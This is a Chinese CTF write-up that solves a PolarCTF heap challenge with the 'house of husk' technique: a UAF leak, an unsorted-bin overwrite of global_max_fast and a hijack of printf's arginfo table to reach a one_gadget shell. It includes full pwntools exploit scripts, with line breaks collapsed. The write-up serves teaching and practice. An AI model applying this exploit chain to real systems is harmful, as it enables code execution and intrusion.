web选手入门pwn(16) ——house of husk

admin 2024年7月1日23:39:51评论1 views字数 6450阅读21分30秒阅读模式
16.    easy_str (house of husk)
libc-2.27.so,标准large bin attack。

https://www.polarctf.com/#/page/challenges

web选手入门pwn(16) ——house of husk

很简单的增删改查,chunk_list在栈上。
看add(),v5限制了5个chunk,大小限制了>=0x500,也就是没有fastbin,只有largebin。
看free(),显然没有清除指针,UAF无疑。甚至也没有v5-1,所以这题只有5个chunk。add 5次之后,即使全部free也无法新增新的chunk了。
然后就是有个LABEL_17,只有free和exit才能触发。而代码是看似无用的printf("%X", 0LL);
这个就是明显的提示需要用house of husk。这条链子满足只能用largebin,和用printf触发。
https://www.anquanke.com/post/id/202387

libc是2.27,但是全部是largebin,不满足tcache的进入条件,所以全程都不需要考虑tcache的问题。
既然是UAF,先来最简单的unsortedbin泄露libc。

from pwn import *context.log_level = 'debug'context.arch='amd64'#patchelf --set-interpreter /home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so easy_str#patchelf --set-rpath /home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ easy_strsh = gdb.debug("./easy_str","b *0x555555554bc7nc")#sh = process("./easy_str")#sh = remote('120.X.X.X',2094)elf = ELF("./easy_str")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")#libc = ELF("./libc-2.27.so")libc_malloc_hook = libc.sym['__malloc_hook']libc_main_arena = libc_malloc_hook + 0x10libc_main_arena_N = libc_malloc_hook + 0x70def add(size):    sh.sendlineafter("choice:","1")    sh.sendlineafter("size:",str(size))def edit(index, content="AAAA"):    sh.sendlineafter("choice:","2")    sh.sendlineafter("id:",str(index))    sh.send(content)def show(index):    sh.sendlineafter("oice:","3")    sh.sendlineafter("id:",str(index))def free(index):    sh.sendlineafter("choice:","4")    sh.sendlineafter("id:",str(index))#0x555555554b2b add malloc#0x555555554bd9 show puts#0x555555554b8d edit readadd(0x500)#c0add(0x500)#c1free(0)show(0)addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")print(hex(addr_main_arena_N))addr_libc_base = addr_main_arena_N - libc_main_arena_Nprint(hex(addr_libc_base))sh.interactive()

web选手入门pwn(16) ——house of husk

泄露heap呢?只需要弄两个不相邻的chunk进行free,做双向链表即可。

add(0x500)#c0add(0x500)#c1add(0x500)#c2add(0x500)#c3free(0)free(2)show(2)

web选手入门pwn(16) ——house of husk

web选手入门pwn(16) ——house of husk

当然,show(0)也可以,只不过0x7ffff7dcfca0有x00,用edit填充8个A即可。

除此之外,也可以做largebin,同理也要edit填充16个A。

add(0x500)#c0add(0x500)#c1free(0)add(0x600)#c2show(0)

web选手入门pwn(16) ——house of husk

使用fastbin劫持malloc_hook_addr-0x23我们已经非常熟练了。这题没有fastbin,能用unsortedbin劫持吗?
unsortedbin也可以做类似的攻击,但不能决定写入的值是多少,而是固定的addr_main_arena_N。并且写入之后unsortedbin链表会被破坏,导致无法再add chunk。
先看正常的add()free()add()

add(0x500)#c0add(0x500)#c1free(0)show(0)

web选手入门pwn(16) ——house of husk

add(0x500)#c2

web选手入门pwn(16) ——house of husk

如果我们将bk给篡改成global_max_fast,会怎么样呢。

libc_global_max_fast =  libc.sym['__malloc_initialize_hook'] +  0x50add(0x500)#c0add(0x500)#c1free(0)show(0)addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")print(hex(addr_main_arena_N))addr_libc_base = addr_main_arena_N - libc_main_arena_Nprint(hex(addr_libc_base))

web选手入门pwn(16) ——house of husk

edit(0,p64(addr_main_arena_N) + p64(addr_libc_base + libc_global_max_fast - 0x10))add(0x500)#c2

web选手入门pwn(16) ——house of husk

可以看到global_max_fast被成功篡改,但unsortedbin似乎并没有free(),此时再次add(0x500),就会报错了。

修改global_max_fast有什么用呢?它是释放chunk时判断chunk大小是否属于fastbin的标志,默认为0x80。unsortedbin攻击无法控制写入的值,所以用来篡改它正好将其篡改成一个很大的正数,至此,再free()任何chunk都将进入fastbin。

add(0x500)#c0add(0x500)#c1add(0x500)#c2add(0x500)#c3free(0)show(0)addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")print(hex(addr_main_arena_N))addr_libc_base = addr_main_arena_N - libc_main_arena_Nprint(hex(addr_libc_base))edit(0,p64(addr_main_arena_N) + p64(addr_libc_base + libc_global_max_fast - 0x10))add(0x500)#c4free(1)free(3)

web选手入门pwn(16) ——house of husk

可以看到,虽然gdb的heap插件无法帮我们分辨出来c1和c2,但0x500大小的chunk,free后只形成了单向链表,以此可以确定它们确实进入了fastbin。
free任意大小的chunk都可以进fastbin有什么用呢?答案是可以向main_arena+N写入chunk地址。

web选手入门pwn(16) ——house of husk

N=648,这个N怎么算出来的呢?
答案是0x500 = 648 * 2 - 0x10。
也就是说要往main_arena+N写chunk地址,就free一个N * 2 - 0x10大小的chunk就行了。

那么如何getshell呢?这就要利用到__printf_arginfo_table和__printf_function_table了,它们的libc地址和global_max_fast一样,要用附近的函数偏移出来。

libc_global_max_fast =  libc.sym['__malloc_initialize_hook'] +  0x50libc_printf_function_table =  libc.sym['mallwatch'] - 0x18libc_printf_arginfo_table =  libc.sym['_IO_2_1_stdout_'] + 0x110

查看vfprintf.c源码。
其中__printf_function_table是为了过检测走到printf_positional()。

web选手入门pwn(16) ——house of husk

web选手入门pwn(16) ——house of husk

printf_positional调__parse_one_specmb

web选手入门pwn(16) ——house of husk

__parse_one_specmb执行了(*__printf_arginfo_table[spec->info.spec])

web选手入门pwn(16) ——house of husk

也就是说,我们篡改__printf_arginfo_table为chunk地址,最终就能走到这个chunk里的某个指针处。
我们先尝试篡改__printf_arginfo_table和__printf_function_table。很简单,提前add两个符合N*2-0x10大小的chunk,然后篡改global_max_fast,再依次free这两个chunk。

add(0x500)#c0c1size = (libc_printf_function_table - libc_main_arena) * 2 - 0x10add(c1size)#c1c2size = (libc_printf_arginfo_table - libc_main_arena) * 2 - 0x10add(c2size)#c2add(0x500)#c3free(0)show(0)addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")print(hex(addr_main_arena_N))addr_libc_base = addr_main_arena_N - libc_main_arena_Nprint(hex(addr_libc_base))edit(0,p64(addr_main_arena_N) + p64(addr_libc_base + libc_global_max_fast - 0x10))add(0x500)#c4free(2)free(1)

web选手入门pwn(16) ——house of husk

spec->info.spec具体是多少呢?跟printf("%X", 0LL);的X有关。我们可以用笨办法——规律字符串找出来。

web选手入门pwn(16) ——house of husk

print(cyclic_find(0x67616177))后发现是688,那么完整exp如下。

from pwn import *context.log_level = 'debug'context.arch='amd64'#patchelf --set-interpreter /home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so easy_str#patchelf --set-rpath /home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ easy_str#sh = gdb.debug("./easy_str","b *0x555555554bc7nc")sh = process("./easy_str")#sh = remote('120.X.X.X',2094)elf = ELF("./easy_str")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")#libc = ELF("./libc-2.27.so")libc_malloc_hook = libc.sym['__malloc_hook']libc_main_arena = libc_malloc_hook + 0x10libc_main_arena_N = libc_malloc_hook + 0x70libc_global_max_fast =  libc.sym['__malloc_initialize_hook'] +  0x50libc_printf_function_table =  libc.sym['mallwatch'] - 0x18libc_printf_arginfo_table =  libc.sym['_IO_2_1_stdout_'] + 0x110def add(size):    sh.sendlineafter("choice:","1")    sh.sendlineafter("size:",str(size))def edit(index, content="AAAA"):    sh.sendlineafter("choice:","2")    sh.sendlineafter("id:",str(index))    sh.send(content)def show(index):    sh.sendlineafter("oice:","3")    sh.sendlineafter("id:",str(index))def free(index):    sh.sendlineafter("choice:","4")    sh.sendlineafter("id:",str(index))#0x555555554b2b add malloc#0x555555554bd9 show puts#0x555555554b8d edit readadd(0x500)#c0c1size = (libc_printf_function_table - libc_main_arena) * 2 - 0x10add(c1size)#c1c2size = (libc_printf_arginfo_table - libc_main_arena) * 2 - 0x10add(c2size)#c2add(0x500)#c3free(0)show(0)addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")print(hex(addr_main_arena_N))addr_libc_base = addr_main_arena_N - libc_main_arena_Nprint(hex(addr_libc_base))one = [0x4f2c5,0x4f322,0x10a38c]#one = [0x4f2a5,0x4f302,0x10a2fc]#edit(2,cyclic(1000))#print(cyclic_find(0x67616177))edit(2,"A" * 688 + p64(addr_libc_base + one[2]))edit(0,p64(addr_main_arena_N) + p64(addr_libc_base + libc_global_max_fast - 0x10))add(0x500)#c4free(2)free(1)sh.interactive()

web选手入门pwn(16) ——house of husk

最后这个spec->info.spec = 688怎么来的,其实就是根据X=0x58,(0x58 - 2) * 8=688。

原文始发于微信公众号(珂技知识分享):web选手入门pwn(16) ——house of husk

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月1日23:39:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   web选手入门pwn(16) ——house of huskhttps://cn-sec.com/archives/2906273.html

发表评论

匿名网友 填写信息